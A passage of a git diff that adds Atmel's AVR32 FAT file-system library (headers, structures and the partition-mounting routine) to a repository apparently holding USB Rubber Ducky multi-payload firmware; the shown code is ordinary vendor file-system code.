memcpy_ram2ram((uint8_t*)&fs_g_navext_fast[u8_idnav], Temp, sizeof(Fs_management_fast)); +} + + +//! This function copys the main navigator to another navigator +//! +//! @param u8_idnav Id navigator to fill +//! +void fat_copy_nav( uint8_t u8_idnav ) +{ + if( 0 != u8_idnav) + { + u8_idnav--; + memcpy_ram2ram((uint8_t*)&fs_g_navext[u8_idnav], (uint8_t*)&fs_g_nav , sizeof(Fs_management) ); + memcpy_ram2ram((uint8_t*)&fs_g_navext_entry[u8_idnav], (uint8_t*)&fs_g_nav_entry , sizeof(Fs_management_entry) ); + memcpy_ram2ram((uint8_t*)&fs_g_navext_fast[u8_idnav], (uint8_t*)&fs_g_nav_fast , sizeof(Fs_management_fast) ); + fs_g_navext_entry[u8_idnav].u8_open_mode=0; // Clear open file flag + } +} + +#endif diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/fat.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/fat.h new file mode 100644 index 0000000..2ae540a --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/fat.h @@ -0,0 +1,541 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT services + * + * This file is the header for FAT services + * + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +#ifndef _FAT_H_ +#define _FAT_H_ + +#include "fs_com.h" + +//! @verbatim +//! - File system vocabulary : +//! MBR : Master Boot Record (constains four PE) +//! PE : Partition Entry (constains a location informations about PBR) +//! PBR : Partition Boot Record +//! BPB : BIOS Parameter Block (see Hardware White Paper FAT) +//! PBR = BPB +//! FAT : File Allocation Table +//! @endverbatim + + +#undef _GLOBEXT_ +#if (defined _fat_c_) +# define _GLOBEXT_ +#else +# define _GLOBEXT_ extern +#endif + +//_____ I N C L U D E S ____________________________________________________ + + +//_____ M A C R O S ________________________________________________________ + + +// To optimize the code +#if (FS_FAT_12 == ENABLED) +# define Is_fat12 (FS_TYPE_FAT_12 == fs_g_nav_fast.u8_type_fat) +#else +# define Is_fat12 (0) +#endif +#if (FS_FAT_16 == ENABLED) +# define Is_fat16 (FS_TYPE_FAT_16 == fs_g_nav_fast.u8_type_fat) +#else +# define Is_fat16 (0) +#endif +#if (FS_FAT_32 == ENABLED) +# define Is_fat32 (FS_TYPE_FAT_32 == fs_g_nav_fast.u8_type_fat) +#else +# define Is_fat32 (0) +#endif + +// Tor optimize the code +#if ( (FS_ASCII == ENABLED) && (FS_UNICODE == ENABLED)) +# define Is_unicode (g_b_unicode) +#elif (FS_ASCII == ENABLED) +# define Is_unicode (0) +#elif (FS_UNICODE == ENABLED) +# define Is_unicode (1) +#else +# error You must define FS_ASCII or/and FS_UNICODE enable in conf_explorer.h +#endif + + +//_____ D E F I N I T I O N S ______________________________________________ + + +//**** Definitions corresponding at the FAT norm **** + +//! Position (unit byte) in the MBR of a partition entry +#define FS_MBR_OFFSET_PART_ENTRY( num ) ((uint16_t)((uint16_t)(0x1BE)+(0x10 * num))) // Partition entry num (0 to 4) + + +//! \name Macro to access at fields in BPB sector (only used in fat_mount() function) +//! The name prefixed by "BPB_" are defined in "Hardware White Paper FAT" +//! @{ +#define LOW_16_BPB_BytsPerSec fs_g_sector[11] +#define HIGH_16_BPB_BytsPerSec fs_g_sector[12] +#define U8_BPB_SecPerClus fs_g_sector[13] +#define LOW_16_BPB_RootEntCnt fs_g_sector[17] +#define HIGH_16_BPB_RootEntCnt fs_g_sector[18] +#define LOW_16_BPB_FATSz16 fs_g_sector[22] +#define HIGH_16_BPB_FATSz16 fs_g_sector[23] +#define LOW0_32_BPB_FATSz32 fs_g_sector[36] +#define LOW1_32_BPB_FATSz32 fs_g_sector[37] +#define LOW2_32_BPB_FATSz32 fs_g_sector[38] +#define LOW3_32_BPB_FATSz32 fs_g_sector[39] +#define LOW_16_BPB_TotSec16 fs_g_sector[19] +#define HIGH_16_BPB_TotSec16 fs_g_sector[20] +#define LOW0_32_BPB_TotSec32 fs_g_sector[32] +#define LOW1_32_BPB_TotSec32 fs_g_sector[33] +#define LOW2_32_BPB_TotSec32 fs_g_sector[34] +#define LOW3_32_BPB_TotSec32 fs_g_sector[35] +#define LOW_16_BPB_ResvSecCnt fs_g_sector[14] +#define HIGH_16_BPB_ResvSecCnt fs_g_sector[15] +#define U8_BPB_NumFATs fs_g_sector[16] +#define LOW0_32_BPB_RootClus fs_g_sector[44] +#define LOW1_32_BPB_RootClus fs_g_sector[45] +#define LOW2_32_BPB_RootClus fs_g_sector[46] +#define LOW3_32_BPB_RootClus fs_g_sector[47] +#define LOW_16_BPB_FSInfo fs_g_sector[48] +#define HIGH_16_BPB_FSInfo fs_g_sector[49] +//! @} + + +//! \name Constante used to sign a MBR or PBR sectors +//! @{ +#define FS_BR_SIGNATURE_LOW 0x55 +#define FS_BR_SIGNATURE_HIGH 0xAA +//! @} + + +//! \name Constants used in MBR sector +//! @{ +#define FS_PART_BOOTABLE 0x80 +#define FS_PART_NO_BOOTABLE 0x00 +/* + Partition Fdisk Demarrage dans + Type Rapports Taille Type de FAT version + ----------------------------------------------------------------------------- + 01 PRI DOS 0-15 Mo 12 bits MS-DOS 2.0 + 04 PRI DOS 16-32 Mo 16 bits MS-DOS 3.0 + 05 EXT DOS 0-2 Go n/a MS-DOS 3.3 + 06 PRI DOS 32 Mo-2 Go 16 bits MS-DOS 4.0 + 0E PRI DOS 32 Mo-2 Go 16 bits Windows 95 + 0F EXT DOS 0-2 Go n/a Windows 95 + 0B PRI DOS 512 Mo - 2 teraoctets 32 bits OSR2 + 0C EXT DOS 512 Mo - 2 teraoctets 32 bits OSR2 +*/ +#define FS_PART_TYPE_FAT12 0x01 +#define FS_PART_TYPE_FAT16_INF32M 0x04 +#define FS_PART_TYPE_FAT16_SUP32M 0x06 +#define FS_PART_TYPE_FAT16_SUP32M_BIS 0x0E +#define FS_PART_TYPE_FAT32 0x0B +#define FS_PART_TYPE_FAT32_BIS 0x0C +#define FS_PART_REMOVE_MEDIA 0xF0 // removal media +#define FS_PART_NO_REMOVE_MEDIA 0xF8 // no removal media +#define FS_PART_HARD_DISK 0x81 // hard disk +#define FS_BOOT_SIGN 0x29 // Boot signature +//! @} + + +//! \name Maximum of FAT cluster +//! @{ +#define FS_FAT12_MAX_CLUSTERS 4085 // Maximum of cluster for FAT 12 +#define FS_FAT16_MAX_CLUSTERS 65525 // Maximum of cluster for FAT 16 +//! @} + + +//! \name Constants used in the first byte of file entry +//! @{ +#define FS_ENTRY_END 0x00 // end of directory +#define FS_ENTRY_DEL 0xE5 // deleted entry +#define FS_ENTRY_LFN_LAST 0x40 // mask to detect the last long name entry +//! @} + + +//! \name Constantes used to manage the file entry +//! @{ +#define FS_SIZE_FILE_ENTRY 32 // Size of the file entry +#define FS_SHIFT_B_TO_FILE_ENTRY 5 // Shift a unit byte to unit entry file (32,<<5) to unit sector 512B (512,>>9) +#define FS_SIZE_LFN_ENTRY 13 // Size of name stored in the file entry "long file name" (unit UNICODE = 2bytes) +#define FS_SIZE_SFNAME 11 // Size of name stored in the file entry "short file name" (unit byte) +#define FS_SIZE_SFNAME_WITHOUT_EXT 8 // Size of name (without extension) stored in the file entry "short file name" (unit byte) +#define FS_SIZE_SFNAME_EXT_ONLY 3 // Size of extension name stored in the file entry "short file name" (unit byte) +//! @} + + +//! \name LIMITATIONS OF FILE SYSTEM +//! @{ +#define FS_NB_FAT 2 // This file system managed only 2 FAT +//! @} + + +//**** Definitions of function configurations + +//! \name The unit sector of 512B is many used in file System stack +//! @{ +#define FS_512B 512 +#define FS_512B_MASK (512-1) +#define FS_512B_SHIFT_BIT 9 // Shift a unit byte to unit sector (512,>>9) +#define FS_SIZE_OF_SECTOR FS_512B // For compliance with old FileSystem module +#define FS_MASK_SIZE_OF_SECTOR FS_512B_MASK // For compliance with old FileSystem module +#define FS_SHIFT_B_TO_SECTOR FS_512B_SHIFT_BIT // For compliance with old FileSystem module +#define FS_CACHE_SIZE 512 // Cache size used by module (unit 512B) +//! @} + +//! Signal that sector cache is not valid +#define FS_BUF_SECTOR_EMPTY 0xFF + + +//! \name Status of the fat_checkcluster() function +//! @{ +#define FS_CLUS_OK 0 // Value correct +#define FS_CLUS_BAD 1 // Value bad +#define FS_CLUS_END 2 // It is the end of cluster list +//! @} + + +//! \name Options of the fat_cluster_list() function +//! @{ +#define FS_CLUST_ACT_SEG 0x01 // Get the sector address and size of the cluster list +#define FS_CLUST_ACT_ONE 0x02 // Get the sector address of the cluster list +#define FS_CLUST_ACT_CLR 0x03 // Clear the cluster list +//! @} + + +//! \name Options of the fat_cluster_val() function +#define FS_CLUST_VAL_READ false // Mode read +#define FS_CLUST_VAL_WRITE true // Mode write +#define FS_CLUST_VAL_EOL 0x0FFFFFFF // Value to signal the end of cluster list +//! @} + + +//! \name Structures used to store the information about File System mount +//! @{ + +//! Union to define a root directory +typedef union +{ + uint32_t u32_cluster; //!< For FAT32, the root directory is a cluster list + struct + { + uint16_t u16_pos; //!< Offset between the beginning of FAT and the beginning of root dir (unit 512B) + uint16_t u16_size; //!< Size of root (unit 512B) + } seg; //!< For FAT 12 & 16, it is a segment (no cluster list) +} Fs_rootdir; + +//! Struture to save the variables frequently used by file system mounted +typedef struct +{ + uint8_t u8_lun; //!< Number of logical driver +#if (FS_MULTI_PARTITION == ENABLED) + uint8_t u8_partition; //!< Number of partition - 1 (0 or 1) +#endif + uint8_t u8_BPB_SecPerClus; //!< Cluster size (unit 512B) + // The pointers start at beginning of the memory, and unit = 512B + uint32_t u32_fat_size; //!< Size of one FAT (unit 512B) + uint16_t u16_offset_FSInfo; //!< Offset between the beginning of FAT and the FSInfo sector (only used by FAT32) (unit 512B) + uint32_t u32_CountofCluster; //!< Number of cluster (include the two reserved cluster) + uint32_t u32_ptr_fat; //!< FAT address (unit 512B) + uint32_t u32_offset_data; //!< Offset between the beginning of FAT and the first cluster (unit 512B) + Fs_rootdir rootdir; //!< Root directory informations + uint16_t u16_entry_pos_sel_dir; //!< Position of selected directory in her parent directory (only use to speed up the get directory name routine) + uint32_t u32_cluster_sel_dir; //!< First cluster number of selected directory (0 for the root directory) + uint16_t u16_pos_sel_file; //!< File position in the file list (only used by navigation functions) + uint16_t u16_pos_filterlist; //!< File position in the file list filtered (only for nav_filterlist functions) + FS_STRING sz_filterext; //!< pointer on extension filter to use in nav_filterlist functions + uint8_t b_mode_nav; //!< Navigation step ( FS_FILE or FS_DIR ) + uint8_t b_mode_nav_single; //!< Navigation File List provide only files or directories + uint8_t u8_flat_dir_level; //!< Directory level of the current dir in flat list + uint16_t u16_flat_pos_offset; //!< Offset in flat list of the directory +} Fs_management; + +//! Struture to save the variables very frequently used by file system mounted +typedef struct +{ + uint8_t u8_type_fat; //!< FAT type (default = no mounted = FS_TYPE_FAT_UNM) + uint16_t u16_entry_pos_sel_file; //!< Entry file position in directory (unit = FS_SIZE_FILE_ENTRY) (see value FS_NO_SEL & FS_END_FIND) +} Fs_management_fast; + +//! Struture to save the frequently variables of file system mounted +typedef struct +{ + uint8_t u8_open_mode; //!< open mode of selected file + uint8_t u8_txt_format; //!< format of text used in selected file (only for reader_txt module) + uint8_t u8_attr; //!< Attribut of the selected file + uint32_t u32_cluster; //!< First cluster of the selected file + uint32_t u32_size; //!< Size of selected file (unit Bytes) + uint32_t u32_pos_in_file; //!< Current position in file (unit Bytes) +} Fs_management_entry; +//! @} + + +//! \name Main sructures +//! @{ + +//! Struture to define a segment +typedef struct { + uint32_t u32_addr; //!< segment address (unit 512B), or cluster number + uint32_t u32_size_or_pos; //!< segment size (unit 512B), or position in cluster list (unit 512B) +} Fs_segment; + +//! Struture to store cluster information +typedef struct st_fs_cluster +{ + uint32_t u32_pos; //!< cluster position + uint32_t u32_val; //!< cluster value +} Fs_cluster; + +//! @} + + +//! Struture to store the cluster list cache +typedef struct { + Bool b_cache_file; //!< Signal a cluster cache from file cluster list or directory cluster list + uint8_t u8_level_use; //!< Cache level, 0 for the last used and up to FS_NB_CACHE_CLUSLIST-1 for the old access (ignore if FS_NB_CACHE_CLUSLIST=1) + uint8_t u8_lun; //!< LUN of cluster list + uint32_t u32_cluster; //!< First cluster of cluster list + uint32_t u32_start; //!< Start position in the cluster list (unit 512B) + uint32_t u32_addr; //!< Address corresponding at the position "start" in cluster list + uint32_t u32_size; //!< Cluster list size +} Fs_clusterlist_cache; + + +//! Struture to store the information about sector cache (=last sector read or write on disk) +typedef struct { + uint8_t u8_lun; //!< LUN of sector + uint32_t u32_addr; //!< Sector address (unit 512B) + uint8_t u8_dirty; //!< Cache status + //!< if the sector is a sector from a cluster list THEN + uint32_t u32_clusterlist_start; //!< first cluster of cluster list + uint32_t u32_clusterlist_pos; //!< position in cluster list (unit 512B) +} Fs_sector_cache; + + +//**** Definition of value used by the STRUCTURES of communication + +//! \name FAT type ID, used in "Fs_management_fast.u8_type_fat" +//! @{ +#define FS_TYPE_FAT_UNM 0 //!< Partition not mounted +#define FS_TYPE_FAT_12 1 +#define FS_TYPE_FAT_16 2 +#define FS_TYPE_FAT_32 3 +//! @} + + +//! \name Value used in "Fs_management_fast.u16_entry_pos_sel_file" +//! @{ +#define FS_NO_SEL 0xFFFF //!< Signal that a file entry isn't selected +#define FS_END_FIND 0xFFFE //!< Signal that a file entry is the last file entry accessibled by system +//! @} + + +//! \name Macro to check the file open mode +//! @{ +#define Fat_file_is_open() (fs_g_nav_entry.u8_open_mode !=0 ) +#define Fat_file_isnot_open() (fs_g_nav_entry.u8_open_mode ==0 ) +#define Fat_file_close() (fs_g_nav_entry.u8_open_mode =0 ) +//! @} + + +//_____ D E C L A R A T I O N S ____________________________________________ + +//**** Global file system variables + +//! Variables to select string format (initialised in nav_reset()) +_GLOBEXT_ Bool g_b_unicode; +//! Variables to select LENGTH string mode (initialised in nav_reset()) +_GLOBEXT_ Bool g_b_string_length; + +//! Variables to enable/disable the disk check before each action on disk +_GLOBEXT_ Bool g_b_no_check_disk; + +//! \name Variables initialised in drive_mount() +//! @{ +_GLOBEXT_ _MEM_TYPE_SLOW_ Fs_management fs_g_nav; +_GLOBEXT_ _MEM_TYPE_FAST_ Fs_management_fast fs_g_nav_fast; +_GLOBEXT_ _MEM_TYPE_SLOW_ Fs_management_entry fs_g_nav_entry; +//! @} + +//! Variable frequently used by many function (optimization, no parameter in function) +_GLOBEXT_ _MEM_TYPE_FAST_ Fs_segment fs_g_seg; + +//! To take time in functions: fat_getfreespace, fat_cluster_list, fat_cluster_val, fat_checkcluster +_GLOBEXT_ _MEM_TYPE_FAST_ Fs_cluster fs_g_cluster; + +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) +//! \name Variables used to update the second FAT zone +//! @{ +_GLOBEXT_ _MEM_TYPE_SLOW_ uint32_t fs_g_u32_first_mod_fat; //!< Offset (unit 512B) in fat of the first sector (unit 512B) +_GLOBEXT_ _MEM_TYPE_SLOW_ uint32_t fs_g_u32_last_mod_fat; //!< Offset (unit 512B) in fat of the last sector (unit 512B) +//! @} +#endif // FS_LEVEL_FEATURES + +//! \name Variables used to manage the sector cache +//! @{ +_GLOBEXT_ _MEM_TYPE_SLOW_ uint8_t fs_g_sector[ FS_CACHE_SIZE ]; +_GLOBEXT_ _MEM_TYPE_SLOW_ Fs_sector_cache fs_g_sectorcache; +_GLOBEXT_ _MEM_TYPE_SLOW_ uint32_t fs_gu32_addrsector; //!< Store the address of futur cache (unit 512B) +typedef uint8_t _MEM_TYPE_SLOW_ * PTR_CACHE; +//!}@ + + + + +//! \name Functions to verify navigator state +//! @{ +Bool fat_check_device ( void ); +Bool fat_check_mount ( void ); +Bool fat_check_noopen ( void ); +Bool fat_check_open ( void ); +Bool fat_check_select ( void ); +Bool fat_check_mount_noopen ( void ); +Bool fat_check_mount_select_noopen ( void ); +Bool fat_check_mount_select_open ( void ); +Bool fat_check_mount_select ( void ); +Bool fat_check_is_file ( void ); +//! @} + +//! This function returns the number of partition present on selected drive +uint8_t fat_get_nbpartition ( void ); + +//! This function mounts a partition +Bool fat_mount ( void ); + +//! This function formats the drive +Bool fat_format ( uint8_t u8_fat_type ); + +//! This function reads or writes a serial number +Bool fat_serialnumber ( Bool b_action , uint8_t _MEM_TYPE_SLOW_ *a_u8_sn ); + + +//! \name Functions to compute free space on a partition +//! @{ +uint32_t fat_getfreespace ( void ); +uint8_t fat_getfreespace_percent ( void ); +Bool fat_write_fat32_FSInfo ( uint32_t u32_nb_free_cluster ); +uint32_t fat_read_fat32_FSInfo ( void ); +//! @} + + +//! \name Functions to manage the cluster list +//! @{ +Bool fat_cluster_list ( uint8_t opt_action, Bool b_for_file ); +void fat_cache_clusterlist_reset ( void ); +Bool fat_cluster_val ( Bool b_mode ); +Bool fat_cluster_readnext ( void ); +uint8_t fat_checkcluster ( void ); +Bool fat_allocfreespace ( void ); +void fat_clear_info_fat_mod ( void ); +Bool fat_clear_cluster ( void ); +Bool fat_update_fat2 ( void ); +//! @} + + +//! \name Functions to read or to write a file or a directory +//! @{ +Bool fat_read_file ( uint8_t mode ); +Bool fat_write_file ( uint8_t mode , uint32_t u32_nb_sector_write ); +Bool fat_read_dir ( void ); +Bool fat_initialize_dir ( void ); +//! @} + + +//! \name Functions to manage the entry field (fat.c) +//! @{ +Bool fat_entry_check ( Bool b_type ); +Bool fat_entry_checkext ( FS_STRING sz_filter ); +void fat_get_entry_info ( void ); +Bool fat_entry_is_dir ( void ); +void fat_clear_entry_info_and_ptr ( void ); +void fat_write_entry_file ( void ); +Bool fat_entry_shortname ( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode ); +Bool fat_entry_longname ( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode , Bool b_match_case ); +Bool fat_check_eof_name ( uint16_t character ); +PTR_CACHE fat_get_ptr_entry ( void ); +//! @} + + +//! \name Functions to manage the entry field (fat_unusual.c) +//! @{ +Bool fat_create_entry_file_name ( FS_STRING sz_name ); +void fat_get_date ( FS_STRING sz_date , Bool type_date ); +void fat_set_date ( const FS_STRING sz_date , Bool type_date ); +Bool fat_delete_file ( Bool b_cluster_list ); +Bool fat_entry_label ( Bool b_action , FS_STRING sz_label ); +//! @} + + +//! \name Functions to manage the cache +//! @{ +Bool fat_cache_read_sector ( Bool b_load ); +void fat_cache_reset ( void ); +void fat_cache_clear ( void ); +void fat_cache_mark_sector_as_dirty( void ); +Bool fat_cache_flush ( void ); +//! @} + + +//! \name Functions to control access disk +//! @{ +#if (FS_NB_NAVIGATOR > 1) + Bool fat_check_nav_access_disk ( void ); + Bool fat_check_nav_access_file ( Bool mode ); +#else +# define fat_check_nav_access_disk(b) (true) //! In case of one navigator, function not used +# define fat_check_nav_access_file(b) (true) //! In case of one navigator, function not used +#endif +//! @} + + +//! \name Functions to manage navigator switch +//! @{ +#if (FS_NB_NAVIGATOR > 1) + void fat_invert_nav ( uint8_t u8_idnav ); + void fat_copy_nav ( uint8_t u8_idnav ); +#else +# define fat_invert_nav ( arg ) (arg++) //! In case of one navigator, function not used +# define fat_copy_nav ( arg ) (arg++) //! In case of one navigator, function not used +#endif +//! @} + +#endif // _FAT_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/fat_unusual.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/fat_unusual.c new file mode 100644 index 0000000..62f337a --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/fat_unusual.c @@ -0,0 +1,2499 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT services. + * + * This file is a set of rarely-used FAT functions. + * + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +//_____ I N C L U D E S ___________________________________________________ +#include "conf_explorer.h" +#include "fs_com.h" +#include "fat.h" +#include LIB_MEM +#include LIB_CTRLACCESS + + +//_____ D E F I N I T I O N S ______________________________________________ + + + + +//_____ D E C L A R A T I O N S ____________________________________________ + +Bool fat_select_filesystem ( uint8_t u8_fat_type , Bool b_MBR ); +Bool fat_write_MBR ( void ); +Bool fat_write_PBR ( Bool b_MBR ); +Bool fat_clean_zone ( Bool b_MBR ); +Bool fat_initialize_fat ( void ); + + +//! \name Sub routines used by date read-write routines +//! @{ +void fat_translatedate_number_to_ascii ( FS_STRING sz_date , PTR_CACHE ptr_date , Bool enable_ms ); +void fat_translate_number_to_ascii ( FS_STRING sz_ascii_number, uint8_t u8_size_number_ascii, uint8_t u8_nb_increment ); +void fat_translatedate_ascii_to_number ( const FS_STRING sz_date , PTR_CACHE ptr_date , Bool enable_ms ); +uint16_t fat_translate_ascii_to_number ( const FS_STRING sz_ascii_number, uint8_t u8_size_number_ascii ); +//! @} + +//! \name Sub routine used to create a entry file +//! @{ +void fat_create_long_name_entry ( FS_STRING sz_name , uint8_t u8_crc , uint8_t u8_id ); +uint8_t fat_create_short_entry_name ( FS_STRING sz_name , FS_STRING short_name , uint8_t nb , Bool mode ); +uint8_t fat_find_short_entry_name ( FS_STRING sz_name ); +Bool fat_entry_shortname_compare ( FS_STRING short_name ); +uint8_t fat_check_name ( FS_STRING sz_name ); +uint8_t fat_translate_char_shortname ( uint8_t character ); +Bool fat_alloc_entry_free ( uint8_t u8_nb_entry ); +Bool fat_garbage_collector_entry ( void ); +//! @} + + + + +//! This function mounts a partition file system (FAT12, FAT16 or FAT32) of selected drive +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_nav.u8_lun Indicate the drive to mount +//! fs_g_nav.u8_partition Indicate the partition to mount (if FS_MULTI_PARTITION = ENABLED ) +//! OUT: +//! fs_g_nav update structure +//! If the FS_MULTI_PARTITION option is disabled +//! then the mount routine selects the first partition supported by file system.
+//! @endverbatim +//! +Bool fat_mount( void ) +{ + uint8_t u8_sector_size; + uint8_t u8_tmp; + uint16_t u16_tmp; + uint32_t u32_tmp; + + // Select the root directory + fs_g_nav.u32_cluster_sel_dir = 0; + // No selected file + fat_clear_entry_info_and_ptr(); + + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; + fs_gu32_addrsector = 0; // Start read at the beginning of memory + + // Check if the drive is availabled + if( !fat_check_device() ) + return false; + + while( 1 ) // Search a valid partition + { + // Read one sector + if( !fat_cache_read_sector( true )) + return false; + + // Check PBR/MBR signature + if ( (fs_g_sector[510] != FS_BR_SIGNATURE_LOW ) + && (fs_g_sector[511] != FS_BR_SIGNATURE_HIGH ) ) + { + fs_g_status = FS_ERR_NO_FORMAT; + return false; + } + + if ( 0 == fs_gu32_addrsector ) + { + //** first sector then check a MBR structure + // Search the first partition supported +#if (FS_MULTI_PARTITION == ENABLED) + u16_tmp=0; // Init to "no valid partition found" +#endif + for( u8_tmp=0 ; u8_tmp!=4 ; u8_tmp++ ) + { + // The first sector must be a MBR, then check the partition entry in the MBR + if ( ((fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+0] == FS_PART_BOOTABLE )|| + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+0] == FS_PART_NO_BOOTABLE ) ) + && ((fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+4] == FS_PART_TYPE_FAT12 )|| + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+4] == FS_PART_TYPE_FAT16_INF32M )|| + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+4] == FS_PART_TYPE_FAT16_SUP32M )|| + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+4] == FS_PART_TYPE_FAT16_SUP32M_BIS)|| + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+4] == FS_PART_TYPE_FAT32 )|| + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+4] == FS_PART_TYPE_FAT32_BIS )) ) + { + // A valid partition is found +#if (FS_MULTI_PARTITION == ENABLED) + if( u16_tmp == fs_g_nav.u8_partition ) + break; // The selected partition is valid + u16_tmp++; +#else + break; +#endif + } + } + if( u8_tmp != 4 ) + { + // Partition found -> Get partition position (unit sector) at offset 8 + LSB0(fs_gu32_addrsector) = fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+8]; + LSB1(fs_gu32_addrsector) = fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+9]; + LSB2(fs_gu32_addrsector) = fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+10]; + LSB3(fs_gu32_addrsector) = fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+11]; + fs_gu32_addrsector *= mem_sector_size( fs_g_nav.u8_lun ); + continue; // Go to check PBR of partition + } + + // No MBR found then check PBR +#if (FS_MULTI_PARTITION == ENABLED) + // The device don't have mutli partition, but only one + if ( 0 != fs_g_nav.u8_partition ) + { + fs_g_status = FS_ERR_NO_PART; + return false; + } +#endif + } + + //** Check a PBR structure + if ( (fs_g_sector[0] == 0xEB) && // PBR Byte 0 + (fs_g_sector[2] == 0x90) && // PBR Byte 2 + ((fs_g_sector[21] & 0xF0) == 0xF0) ) // PBR Byte 21 : Media byte + { + break; // valid PBR found + } + // PBR not found + fs_g_status = FS_ERR_NO_PART; + return false; + } + + fs_g_status = FS_ERR_NO_SUPPORT_PART; // by default partition no supported + + // Get sector size of File System (unit 512B) + // To translate from sector disk unit to sector 512B unit + u8_sector_size = HIGH_16_BPB_BytsPerSec/2; + + // Read BPB_SecPerClus (unit sector) + fs_g_nav.u8_BPB_SecPerClus = U8_BPB_SecPerClus * u8_sector_size; + + //** FAT Type determination (algorithm of "Hardware White Paper FAT") + // Get FAT size (unit sector) + u32_tmp=0; + LSB0( u32_tmp ) = LOW_16_BPB_FATSz16; + LSB1( u32_tmp ) = HIGH_16_BPB_FATSz16; + if ( 0==u32_tmp ) + { + LSB0( u32_tmp ) = LOW0_32_BPB_FATSz32; + LSB1( u32_tmp ) = LOW1_32_BPB_FATSz32; + LSB2( u32_tmp ) = LOW2_32_BPB_FATSz32; + LSB3( u32_tmp ) = LOW3_32_BPB_FATSz32; + } + fs_g_nav.u32_fat_size = 